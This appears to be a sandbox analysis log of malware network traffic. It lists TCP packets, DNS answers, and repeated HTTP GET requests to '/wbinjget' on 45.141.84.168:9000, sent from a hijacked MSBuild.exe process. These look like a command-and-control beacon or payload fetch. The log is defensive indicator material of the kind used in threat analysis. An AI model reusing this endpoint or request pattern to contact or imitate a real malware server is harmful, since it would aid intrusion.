Nov 28, 2024 09:54:02.994081974 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:02.994781971 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:03.037518978 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:03.038887024 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:03.042538881 CET	9000	49815	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:03.083163977 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:03.116684914 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:03.120100975 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:03.184650898 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:03.184798002 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:03.240089893 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:03.240170956 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:03.304788113 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:03.304868937 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:03.327193022 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:03.380137920 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:03.407993078 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:03.408083916 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:03.424858093 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:03.438339949 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:03.489547968 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:03.515134096 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:03.515259027 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:03.571993113 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:03.572078943 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:03.635190010 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:03.635284901 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:03.635288000 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:03.676927090 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:03.725692987 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:03.725788116 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:03.795965910 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:03.796125889 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:03.845638990 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:03.845767975 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:03.845820904 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:03.916167974 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:03.916261911 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:03.937272072 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:03.989459038 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:04.056169033 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:04.056670904 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:04.186378956 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:04.186553001 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:04.232450962 CET	9000	49815	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:04.232619047 CET	9000	49815	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:04.232677937 CET	49815	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:04.237138987 CET	49815	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:04.348686934 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:04.348766088 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:04.349550962 CET	49816	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:04.357109070 CET	9000	49815	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:04.387447119 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:04.387535095 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:04.397964954 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:04.442574978 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:04.468950987 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:04.469058037 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:04.470035076 CET	9000	49816	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:04.470129013 CET	49816	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:04.470364094 CET	49816	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:04.507457972 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:04.517036915 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:04.567540884 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:04.590234995 CET	9000	49816	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:04.648089886 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:04.648175955 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:04.679635048 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:04.679744959 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:04.768096924 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:04.768148899 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:04.799839020 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:04.805300951 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:04.848814964 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:04.940257072 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:04.940340042 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:04.978719950 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:05.020653009 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:05.060228109 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:05.060317039 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:05.098551989 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:05.098695040 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:05.189038992 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:05.189291954 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:05.271158934 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:05.271311045 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:05.367986917 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:05.368084908 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:05.391396046 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:05.391494989 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:05.392508030 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:05.488147974 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:05.488217115 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:05.511405945 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:05.519906998 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:05.567514896 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:05.651971102 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:05.652662039 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:05.698707104 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:05.698910952 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:05.770283937 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:05.772532940 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:05.775187969 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:05.818799019 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:05.877173901 CET	9000	49816	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:05.877310991 CET	9000	49816	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:05.877388000 CET	49816	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:05.877510071 CET	49816	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:05.895236015 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:05.895678997 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:05.908999920 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:05.958184958 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:05.980719090 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:05.982738972 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:05.989907026 CET	49817	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:05.997328997 CET	9000	49816	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:06.055990934 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:06.056179047 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:06.102726936 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:06.103554964 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:06.105671883 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:06.110027075 CET	9000	49817	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:06.110114098 CET	49817	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:06.110239029 CET	49817	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:06.161286116 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:06.219959021 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:06.220149040 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:06.223519087 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:06.226252079 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:06.230115891 CET	9000	49817	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:06.270644903 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:06.362462997 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:06.362819910 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:06.523960114 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:06.524017096 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:06.550652027 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:06.572819948 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:06.572887897 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:06.644028902 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:06.692883015 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:06.693164110 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:06.739398956 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:06.854480028 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:06.895653009 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:06.915245056 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:07.064845085 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:07.064929008 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:07.227971077 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:07.228044033 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:07.245851994 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:07.275155067 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:07.275242090 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:07.348192930 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:07.348264933 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:07.456077099 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:07.456196070 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:07.466979027 CET	9000	49817	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:07.467088938 CET	9000	49817	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:07.467152119 CET	49817	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:07.467191935 CET	49817	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:07.468195915 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:07.568015099 CET	49818	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:07.576404095 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:07.576456070 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:07.587187052 CET	9000	49817	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:07.666286945 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:07.666366100 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:07.687967062 CET	9000	49818	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:07.688040018 CET	49818	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:07.688182116 CET	49818	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:07.697299957 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:07.786412001 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:07.786530972 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:07.786797047 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:07.808212996 CET	9000	49818	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:07.833153963 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:07.907687902 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:07.907830954 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:08.046462059 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:08.046649933 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:08.207993031 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:08.208049059 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:08.238307953 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:08.238374949 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:08.328012943 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:08.328126907 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:08.358320951 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:08.358434916 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:08.377161026 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:08.377281904 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:08.478326082 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:08.480691910 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:08.538435936 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:08.540678024 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:08.655968904 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:08.656060934 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:08.658494949 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:08.660638094 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:08.708282948 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:08.748749971 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:08.748858929 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:08.776112080 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:08.868808031 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:08.868947029 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:08.986475945 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:08.986614943 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:09.003998041 CET	9000	49818	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:09.004159927 CET	9000	49818	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:09.004337072 CET	49818	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:09.004362106 CET	49818	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:09.031969070 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:09.106615067 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:09.106714964 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:09.114840984 CET	49819	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:09.124490976 CET	9000	49818	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:09.201939106 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:09.202075958 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:09.226716995 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:09.226824045 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:09.234906912 CET	9000	49819	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:09.234989882 CET	49819	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:09.235104084 CET	49819	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:09.317135096 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:09.317250967 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:09.322170019 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:09.346795082 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:09.354916096 CET	9000	49819	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:09.437280893 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:09.437357903 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:09.437638998 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:09.557423115 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:09.557555914 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:09.598752022 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:09.767771006 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:09.810297966 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:09.810367107 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:09.978135109 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:10.020643950 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:10.188620090 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:10.239392042 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:10.637705088 CET	9000	49819	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:10.637747049 CET	9000	49819	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:10.637834072 CET	49819	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:14.468972921 CET	49819	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:14.588825941 CET	9000	49819	45.141.84.168	192.168.2.4

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 28, 2024 09:52:24.197396040 CET	1.1.1.1	192.168.2.4	0x147	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:52:24.197396040 CET	1.1.1.1	192.168.2.4	0x147	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:52:26.024123907 CET	1.1.1.1	192.168.2.4	0x1766	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 09:52:26.024123907 CET	1.1.1.1	192.168.2.4	0x1766	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:52:41.614048958 CET	1.1.1.1	192.168.2.4	0x4be2	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 09:52:41.614048958 CET	1.1.1.1	192.168.2.4	0x4be2	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:53:03.707551956 CET	1.1.1.1	192.168.2.4	0x6ec9	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 09:53:03.707551956 CET	1.1.1.1	192.168.2.4	0x6ec9	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

45.141.84.168:9000

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49786	45.141.84.168	9000	1464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:53:25.495134115 CET	111	OUT	GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1 Host: 45.141.84.168:9000 Connection: Keep-Alive
Nov 28, 2024 09:53:26.920702934 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 08:53:26 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49789	45.141.84.168	9000	1464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:53:27.212193012 CET	111	OUT	GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1 Host: 45.141.84.168:9000 Connection: Keep-Alive
Nov 28, 2024 09:53:28.568861961 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 08:53:28 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49794	45.141.84.168	9000	1464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:53:28.798757076 CET	111	OUT	GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1 Host: 45.141.84.168:9000 Connection: Keep-Alive
Nov 28, 2024 09:53:30.155385017 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 08:53:29 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49795	45.141.84.168	9000	1464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:53:30.392035961 CET	111	OUT	GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1 Host: 45.141.84.168:9000 Connection: Keep-Alive
Nov 28, 2024 09:53:31.843137026 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 08:53:31 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49796	45.141.84.168	9000	1464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:53:32.081223011 CET	87	OUT	GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1 Host: 45.141.84.168:9000
Nov 28, 2024 09:53:33.436659098 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 08:53:33 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49797	45.141.84.168	9000	1464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:53:33.676810026 CET	87	OUT	GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1 Host: 45.141.84.168:9000
Nov 28, 2024 09:53:35.033323050 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 08:53:34 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49798	45.141.84.168	9000	1464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:53:35.315681934 CET	87	OUT	GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1 Host: 45.141.84.168:9000
